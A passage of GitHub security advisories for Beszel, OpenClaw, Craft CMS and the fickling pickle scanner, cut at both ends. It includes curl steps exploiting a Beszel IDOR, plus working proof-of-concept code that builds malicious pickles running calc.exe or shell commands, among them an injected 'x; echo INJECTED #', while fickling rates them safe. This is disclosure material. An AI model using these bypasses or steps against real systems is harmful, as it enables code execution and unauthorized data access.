`getSystemdInfo` (lines 322\u2013340) and `refreshSmartData` (lines 342\u2013361).\n\nMeanwhile, the standard PocketBase collection API enforces proper membership checks:\n\n```go\n// internal/hub/collections.go:56-57\nsystemsMemberRule := authenticatedRule + \" \u0026\u0026 users.id ?= @request.auth.id\"\nsystemMemberRule := authenticatedRule + \" \u0026\u0026 system.users.id ?= @request.auth.id\"\n```\n\nThese rules are only applied to the PocketBase collection endpoints, **not** to the custom routes registered on `apiAuth`.\n\n### PoC\n**The proof:** The standard PocketBase API returns `404` (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data \u2014 proving the authorization check is missing.\n\n#### Step 1: Start the hub\n\n```bash\ncd ~/Evidence/henrygd/beszel/finding418/docker-poc/\ndocker compose up -d\n```\n\nWait a few seconds, then verify:\n\n```bash\ncurl -s http://localhost:8090/api/health\n```\n\nExpected: `{\"message\":\"API is healthy.\",\"code\":200,\"data\":{}}`\n\n#### Step 2: Create User A (admin)\n\nOpen `http://localhost:8090` in a browser and create the first user:\n\n- Email: `usera@test.com`\n- Password: `testpassword1`\n\n#### Step 3: Create User B (readonly)\n\nIn the Beszel UI, go to Users and add a new user:\n\n- Email: `userb@test.com`\n- Password: `testpassword2`\n- Role: **readonly**\n\n#### Step 4: Authenticate as User A\n\n```bash\nTOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"identity\":\"usera@test.com\",\"password\":\"testpassword1\"}\u0027 \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\necho \"TOKEN_A=$TOKEN_A\"\n```\n\n#### Step 5: Get hub public key\n\n```bash\nHUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \\\n -H \"Authorization: $TOKEN_A\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027key\u0027])\")\n\necho \"HUB_KEY=$HUB_KEY\"\n```\n\n#### Step 6: Create a universal token and start the agent\n\n```bash\nUTOK_A=$(curl -s \"http://localhost:8090/api/beszel/universal-token?enable=1\" \\\n -H \"Authorization: $TOKEN_A\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\necho \"UTOK_A=$UTOK_A\"\n```\n\nFind the Docker network the hub is on:\n\n```bash\nNETWORK=$(docker inspect beszel-hub --format \u0027{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}\u0027)\necho \"Network: $NETWORK\"\n```\n\nStart the agent on the **same network** so the hub can reach it:\n\n```bash\ndocker run -d --name beszel-agent-a \\\n --network \"$NETWORK\" \\\n -e HUB_URL=http://beszel-hub:8090 \\\n -e TOKEN=\"$UTOK_A\" \\\n -e KEY=\"$HUB_KEY\" \\\n henrygd/beszel-agent:latest\n```\n\nWait a few seconds for the agent to register:\n\n```bash\nsleep 5\n```\n\n#### Step 7: Verify User A sees the system\n\n```bash\ncurl -s http://localhost:8090/api/collections/systems/records \\\n -H \"Authorization: $TOKEN_A\" | python3 -m json.tool\n```\n\nYou should see one system in `items`. Save the system ID:\n\n```bash\nSYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \\\n -H \"Authorization: $TOKEN_A\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027items\u0027][0][\u0027id\u0027])\")\n\necho \"SYSTEM_A_ID=$SYSTEM_A_ID\"\n```\n\n#### Step 8: Authenticate as User B (readonly)\n\n```bash\nTOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"identity\":\"userb@test.com\",\"password\":\"testpassword2\"}\u0027 \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\necho \"TOKEN_B=$TOKEN_B\"\n```\n\nVerify User B sees NO systems:\n\n```bash\ncurl -s http://localhost:8090/api/collections/systems/records \\\n -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: `\"totalItems\": 0`\n\n#### Step 9: Control test \u2014 standard API blocks User B\n\n```bash\necho \"=== Standard PocketBase API ===\"\ncurl -s -w \"\\nHTTP Status: %{http_code}\\n\" \\\n \"http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID\" \\\n -H \"Authorization: $TOKEN_B\"\n```\n\nExpected: **404** \u2014 RBAC correctly hides the system from User B.\n\n#### Step 10: IDOR \u2014 SMART refresh (User B triggers action on User A\u0027s system)\n\n```bash\necho \"=== IDOR: POST /api/beszel/smart/refresh ===\"\ncurl -s \"http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID\" \\\n -X POST -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR \u2014 compare with the 404 from Step 9.\n\n#### Step 11: IDOR \u2014 Systemd info (User B reads from User A\u0027s system)\n\n```bash\necho \"=== IDOR: GET /api/beszel/systemd/info ===\"\ncurl -s \"http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID\u0026service=sshd\" \\\n -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: Hub contacts the agent and returns systemd data or an agent-level error.\n\n#### Step 12: IDOR \u2014 Container logs (User B reads from User A\u0027s system)\n\nContainer endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent\u0027s host:\n\n```bash\n# Get a real container ID from Docker (first 12 hex chars)\nCONTAINER_ID=$(docker ps --format \u0027{{.ID}}\u0027 | head -1)\necho \"CONTAINER_ID=$CONTAINER_ID\"\n\necho \"=== IDOR: GET /api/beszel/containers/logs ===\"\ncurl -s \"http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID\u0026container=$CONTAINER_ID\" \\\n -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\n#### Step 13: IDOR \u2014 Container info (User B reads from User A\u0027s system)\n\n```bash\necho \"=== IDOR: GET /api/beszel/containers/info ===\"\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID\u0026container=$CONTAINER_ID\" \\\n -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\n### Impact\n\n- **Container logs**: Content of recent application logs, potentially including sensitive information\n- **Container info**: Content of Docker engine API\u0027s `/containers/{id}/json` endpoint, excluding environment variables\n- **Systemd info**: Unit properties and status for any monitored service\n- **SMART refresh**: Trigger a SMART data update on any system",
"id": "GHSA-5f5r-95pg-xrpm",
"modified": "2026-04-10T17:32:05Z",
"published": "2026-04-10T17:32:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40077"
},
{
"type": "PACKAGE",
"url": "https://github.com/henrygd/beszel"
},
{
"type": "WEB",
"url": "https://github.com/henrygd/beszel/releases/tag/v0.18.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Beszel has an IDOR in hub API endpoints that read system ID from URL parameter"
}
GHSA-5F9P-F3W2-FWCH
Vulnerability from github – Published: 2026-03-02 22:17 – Updated: 2026-03-19 21:22Summary
In the macOS companion app (currently beta), a parsing mismatch in exec approvals could let shell-chain payloads pass allowlist checks in system.run under specific settings.
Impact
This path requires all of the following:
- authenticated caller with operator.write
- paired macOS beta node host
- exec approvals set to security=allowlist and ask=on-miss
Under those conditions, a shell-chain command could be approved from an incomplete command view and then executed on the paired macOS host.
Default Install Status
Default installs are not affected.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected:
<= 2026.2.21-2 - Patched (planned next release):
>= 2026.2.22
Technical Details
The fix hardens macOS allowlist resolution by evaluating shell chains per segment and failing closed on unsafe shell-substitution parsing in allowlist mode.
Product Status Note
The affected macOS companion app path is currently in beta.
Fix Commit(s)
5da03e622119fa012285cdb590fcf4264c965cb5e371da38aab99521c4e076cd3d95fd775e00b784
Release Process Note
patched_versions is pre-set to the planned next npm release (2026.2.22) so once that version is published, this advisory can be published without additional metadata edits.
OpenClaw thanks @tdjackey for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31993"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T22:17:01Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\nIn the macOS companion app (**currently beta**), a parsing mismatch in exec approvals could let shell-chain payloads pass allowlist checks in `system.run` under specific settings.\n\n### Impact\nThis path requires all of the following:\n- authenticated caller with `operator.write`\n- paired macOS beta node host\n- exec approvals set to `security=allowlist` and `ask=on-miss`\n\nUnder those conditions, a shell-chain command could be approved from an incomplete command view and then executed on the paired macOS host.\n\n### Default Install Status\nDefault installs are not affected.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected: `\u003c= 2026.2.21-2`\n- Patched (planned next release): `\u003e= 2026.2.22`\n\n### Technical Details\nThe fix hardens macOS allowlist resolution by evaluating shell chains per segment and failing closed on unsafe shell-substitution parsing in allowlist mode.\n\n### Product Status Note\nThe affected macOS companion app path is currently in beta.\n\n### Fix Commit(s)\n- `5da03e622119fa012285cdb590fcf4264c965cb5`\n- `e371da38aab99521c4e076cd3d95fd775e00b784`\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next npm release (`2026.2.22`) so once that version is published, this advisory can be published without additional metadata edits.\n\nOpenClaw thanks @tdjackey for reporting.",
"id": "GHSA-5f9p-f3w2-fwch",
"modified": "2026-03-19T21:22:24Z",
"published": "2026-03-02T22:17:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5f9p-f3w2-fwch"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31993"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/5da03e622119fa012285cdb590fcf4264c965cb5"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/e371da38aab99521c4e076cd3d95fd775e00b784"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-allowlist-parsing-mismatch-in-system-run-shell-chains"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw macOS companion app (beta): allowlist parsing mismatch for system.run shell chains"
}
GHSA-5FVC-7894-GHP4
Vulnerability from github – Published: 2026-03-03 21:01 – Updated: 2026-03-04 18:39Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.
In order to be able to successfully execute this attack, you need to either have allowAdminChanges enabled on production, or a compromised admin account, or an account with access to the System Messages utility.
Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.
Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether.
https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096
This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the enableTwigSandbox config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.
Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.
Resources
https://github.com/craftcms/cms/pull/18208
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.9.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.17.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28783"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-184",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T21:01:27Z",
"nvd_published_at": "2026-03-04T17:16:21Z",
"severity": "MODERATE"
},
"details": "Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.\n\nIn order to be able to successfully execute this attack, you need to either have `allowAdminChanges` enabled on production, or a compromised admin account, or an account with access to the System Messages utility.\n\nSeveral PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.\n\nTwig has already deprecated this behavior, and it will eventually be removed from Twig altogether.\n\nhttps://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096\n\nThis has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the `enableTwigSandbox` config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.\n\nExisting projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.\n\n## Resources\n\nhttps://github.com/craftcms/cms/pull/18208",
"id": "GHSA-5fvc-7894-ghp4",
"modified": "2026-03-04T18:39:13Z",
"published": "2026-03-03T21:01:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-5fvc-7894-ghp4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28783"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18208"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS has Twig Function Blocklist Bypass"
}
GHSA-5HVC-6WX8-MVV4
Vulnerability from github – Published: 2026-01-09 21:05 – Updated: 2026-01-11 14:55Fickling's assessment
pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).
Original report
Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Details
Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
PoC
import os
GLOBAL = b'c'
STRING = b'S'
BININT = b'K'
TUPLE1 = b'\x85'
TUPLE2 = b'\x86'
EMPTY_TUPLE = b')'
REDUCE = b'R'
PUT = b'p'
GET = b'g'
POP = b'0'
EMPTY_DICT = b'}'
SETITEM = b's'
BUILD = b'b'
STOP = b'.'
def generate_stealth_payload():
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
payload += POP
payload += GET + b"0\n"
payload += b"C" + b"\x08" + b"calc.exe"
payload += BININT + b"\x01"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # Var 1 = Execution Result
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"2\n" # Var 2 = Exception instance
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"1\n"
payload += SETITEM # { 'rce_status': result }
payload += BUILD
payload += STOP
return payload
data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
f.write(data)
print("Generated 'stealth_ctypes.pkl'")
````
What fickling sees
```python
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.6"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22608"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-09T21:05:13Z",
"nvd_published_at": "2026-01-10T02:15:49Z",
"severity": "HIGH"
},
"details": "# Fickling\u0027s assessment\n\n`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).\n\n# Original report\n\n### Summary\nBoth ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE\n\n### Details\nImport: GLOBAL pydoc locate (Allowed).\nResolution: Call locate(\u0027ctypes.windll.kernel32.WinExec\u0027).\nExecution: Call the result with (b\u0027calc.exe\u0027, 1).\n\nTo bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin\n\n### PoC\n```python\nimport os\n\nGLOBAL = b\u0027c\u0027\nSTRING = b\u0027S\u0027\nBININT = b\u0027K\u0027\nTUPLE1 = b\u0027\\x85\u0027\nTUPLE2 = b\u0027\\x86\u0027\nEMPTY_TUPLE = b\u0027)\u0027\nREDUCE = b\u0027R\u0027\nPUT = b\u0027p\u0027\nGET = b\u0027g\u0027\nPOP = b\u00270\u0027\nEMPTY_DICT = b\u0027}\u0027\nSETITEM = b\u0027s\u0027\nBUILD = b\u0027b\u0027\nSTOP = b\u0027.\u0027\n\ndef generate_stealth_payload():\n payload = b\"\"\n\n payload += GLOBAL + b\"pydoc\\nlocate\\n\"\n payload += STRING + b\"\u0027ctypes.windll.kernel32.WinExec\u0027\\n\"\n payload += TUPLE1 + REDUCE\n payload += PUT + b\"0\\n\" # Var 0 = \u003c_FuncPtr WinExec\u003e\n payload += POP\n\n payload += GET + b\"0\\n\" \n payload += b\"C\" + b\"\\x08\" + b\"calc.exe\" \n payload += BININT + b\"\\x01\" \n payload += TUPLE2 + REDUCE\n payload += PUT + b\"1\\n\" # Var 1 = Execution Result\n payload += POP\n\n payload += GLOBAL + b\"builtins\\nException\\n\"\n payload += EMPTY_TUPLE + REDUCE\n payload += PUT + b\"2\\n\" # Var 2 = Exception instance\n\n payload += EMPTY_DICT\n payload += STRING + b\"\u0027rce_status\u0027\\n\"\n payload += GET + b\"1\\n\"\n payload += SETITEM # { \u0027rce_status\u0027: result }\n \n payload += BUILD \n \n payload += STOP\n return payload\n\ndata = generate_stealth_payload()\nwith open(\"stealth_ctypes.pkl\", \"wb\") as f:\n f.write(data)\n \nprint(\"Generated \u0027stealth_ctypes.pkl\u0027\")\n````\n\nWhat fickling sees\n```python\nfrom pydoc import locate\n_var0 = locate(\u0027ctypes.windll.kernel32.WinExec\u0027)\n_var1 = _var0(b\u0027calc.exe\u0027, 1)\n_var2 = Exception()\n_var3 = _var2\n_var3.__setstate__({\u0027rce_status\u0027: _var1})\nresult0 = _var3\n```\n\u003cimg width=\"915\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a\" /\u003e",
"id": "GHSA-5hvc-6wx8-mvv4",
"modified": "2026-01-11T14:55:08Z",
"published": "2026-01-09T21:05:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22608"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/pull/195"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L145"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection"
}
GHSA-5HWF-RC88-82XM
Vulnerability from github – Published: 2026-03-04 21:31 – Updated: 2026-03-04 21:31Assessment
The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).
Original report
Summary
fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.
Affected Versions
- fickling <= 0.1.8 (all versions)
Details
Missing Modules
fickling's UNSAFE_IMPORTS (86 modules) does not include:
| Module | RCE Function | Internal Mechanism | Importable On |
|---|---|---|---|
uuid |
_get_command_stdout(cmd, *args) |
subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) |
All platforms |
_osx_support |
_read_output(cmdstring) |
os.system(cmd) via temp file |
All platforms |
_osx_support |
_find_build_tool(toolname) |
Command injection via %s in _read_output("/usr/bin/xcrun -find %s" % toolname) |
All platforms |
_aix_support |
_read_cmd_output(cmdstring) |
os.system(cmd) via temp file |
All platforms |
Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.
Why These Pass fickling
NonStandardImports: These are stdlib modules, sois_std_module()returns True → not flaggedUnsafeImports: Module names not inUNSAFE_IMPORTS→ not flaggedOvertlyBadEvals: Function names added tolikely_safe_imports(stdlib) → skippedUnusedVariables: Defeated by BUILD opcode (purposely unhardend)
Proof of Concept (using fickling's opcode API)
from fickling.fickle import (
Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle
frame_data = b"\x95" + struct.pack("<Q", 60)
# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("uuid"),
ShortBinUnicode("_get_command_stdout"),
StackGlobal(),
ShortBinUnicode("echo"),
ShortBinUnicode("PROOF_OF_CONCEPT"),
TupleTwo(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_aix_support"),
ShortBinUnicode("_read_cmd_output"),
StackGlobal(),
ShortBinUnicode("echo PROOF_OF_CONCEPT"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_osx_support"),
ShortBinUnicode("_find_build_tool"),
StackGlobal(),
ShortBinUnicode("x; echo INJECTED #"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
result = check_safety(p)
print(f"{name}: severity={result.severity}, issues={len(result.results)}")
# Output: severity=Severity.LIKELY_SAFE, issues=0
# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT
Verified Output
$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT
Impact
An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.
Suggested Fix
Add to UNSAFE_IMPORTS in fickling:
"uuid",
"_osx_support",
"_aix_support",
Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.
Resources
- Python source:
Lib/uuid.pylines 156-168 (_get_command_stdout) - Python source:
Lib/_osx_support.pylines 35-52 (_read_output), lines 54-68 (_find_build_tool) - Python source:
Lib/_aix_support.pylines 14-30 (_read_cmd_output) - fickling source:
analysis.pyUNSAFE_IMPORTSset
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.8"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T21:31:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Assessment\n\nThe modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).\n\n# Original report\n\n## Summary\n\nfickling\u0027s `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks.\n\n\n## Affected Versions\n\n- fickling \u003c= 0.1.8 (all versions)\n\n## Details\n\n### Missing Modules\n\nfickling\u0027s `UNSAFE_IMPORTS` (86 modules) does not include:\n\n| Module | RCE Function | Internal Mechanism | Importable On |\n|--------|-------------|-------------------|---------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output(\"/usr/bin/xcrun -find %s\" % toolname)` | All platforms |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n\n**Critical note:** Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.\n\n### Why These Pass fickling\n\n1. **`NonStandardImports`**: These are stdlib modules, so `is_std_module()` returns True \u2192 not flagged\n2. **`UnsafeImports`**: Module names not in `UNSAFE_IMPORTS` \u2192 not flagged\n3. **`OvertlyBadEvals`**: Function names added to `likely_safe_imports` (stdlib) \u2192 skipped\n4. **`UnusedVariables`**: Defeated by BUILD opcode (purposely unhardend)\n\n### Proof of Concept (using fickling\u0027s opcode API)\n\n```python\nfrom fickling.fickle import (\n Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,\n TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,\n)\nfrom fickling.analysis import check_safety\nimport struct, pickle\n\nframe_data = b\"\\x95\" + struct.pack(\"\u003cQ\", 60)\n\n# uuid._get_command_stdout \u2014 works on ALL platforms\nuuid_payload = Pickled([\n Proto(4),\n Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n ShortBinUnicode(\"uuid\"),\n ShortBinUnicode(\"_get_command_stdout\"),\n StackGlobal(),\n ShortBinUnicode(\"echo\"),\n ShortBinUnicode(\"PROOF_OF_CONCEPT\"),\n TupleTwo(),\n Reduce(),\n EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n Build(),\n Stop(),\n])\n\n# _aix_support._read_cmd_output \u2014 works on ALL platforms\naix_payload = Pickled([\n Proto(4),\n Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n ShortBinUnicode(\"_aix_support\"),\n ShortBinUnicode(\"_read_cmd_output\"),\n StackGlobal(),\n ShortBinUnicode(\"echo PROOF_OF_CONCEPT\"),\n TupleOne(),\n Reduce(),\n EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n Build(),\n Stop(),\n])\n\n# 